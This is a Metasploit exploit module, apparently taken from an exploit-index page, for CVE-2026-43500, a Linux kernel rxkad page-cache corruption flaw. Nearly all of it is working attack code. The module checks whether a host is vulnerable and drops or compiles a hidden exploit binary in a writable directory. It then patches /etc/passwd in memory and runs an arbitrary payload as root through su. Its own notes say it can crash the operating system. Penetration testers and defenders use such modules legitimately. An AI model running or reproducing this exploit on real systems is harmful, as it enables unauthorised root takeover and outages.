Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_43500_DIRTY_FRAG-
##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'rxkad Page-Cache Write via CVE-2026-43500',
        'Description' => %q{
          CVE-2026-43500 exploits a memory-corruption vulnerability in the Linux kernel's RxRPC
          authentication subsystem (rxkad). When a crafted DATA packet is delivered to an AF_RXRPC
          socket configured with an attacker-controlled rxkad session key, the kernel's
          rxkad_verify_packet_1() function performs an in-place 8-byte pcbc(fcrypt) decryption
          directly on the page-cache page referenced by the splice offset. Because the decryption
          mutates the page in-place without marking it dirty, the corrupted in-memory view is
          immediately visible to all processes reading from the page cache. This allows a local
          attacker to corrupt the in-memory contents of a SUID binary and escalate privileges to root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Hyunwoo Kim',      # Discovery
          'Giovanni Heward',  # Original module
        ],
        'References' => [
          ['CVE', '2026-43500'],
          ['EDB', '52585'],
          ['EDB', '52591'],
          ['URL', 'https://github.com/V4bel/dirtyfrag'],
        ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'BadChars' => "'"
        },
        'Targets' => [[ 'Auto', {} ]],
        'DisclosureDate' => '2026-05-08',
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_OS_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([
      OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ])
    ])
  end

  def check
    dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')

    return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?

    return CheckCode::Unknown('The rxrpc module has not been detected') unless kernel_modules.include?('rxrpc')

    kernel_version = Rex::Version.new kernel_release.split('-').first

    return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('5.3')

    CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
  end

  def exploit
    payload_dir = datastore['WRITABLE_DIR']
    fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)

    arch = kernel_arch

    exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

    if live_compile?
      print_status('Live compiling exploit on system...')
      exploit_c = exploit_data('CVE-2026-43500', 'CVE_2026_43500.c')
      upload_and_compile(exploit_file, exploit_c)
    else

      fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch)

      vprint_status('Dropping pre-compiled exploit on system...')
      exploit_bin = exploit_data('CVE-2026-43500', "CVE_2026_43500_#{arch}")
      upload_and_chmodx(exploit_file, exploit_bin)
    end

    register_file_for_cleanup(exploit_file)

    print_status('Trying to patch in-pages /etc/passwd')
    # patch the setuid file
    response = cmd_exec(exploit_file.to_s)

    fail_with(Failure::NotVulnerable, 'The target application seems to be not vulnerable') unless response.include?('Success!')

    print_status(%(Trying to run stuff as root: "/usr/bin/su - root -c '#{payload.encoded}'"))
    # run the payload
    cmd_exec("/usr/bin/su - root -c '#{payload.encoded}'")
  end

  def on_new_session(session)
    print_status('Restoring balance in galaxy')
    if session.type.eql?('meterpreter')
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.sys.process.execute('/bin/sh', "-c 'echo 3 > /proc/sys/vm/drop_caches")
    else
      session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches')
    end

    super
  end

end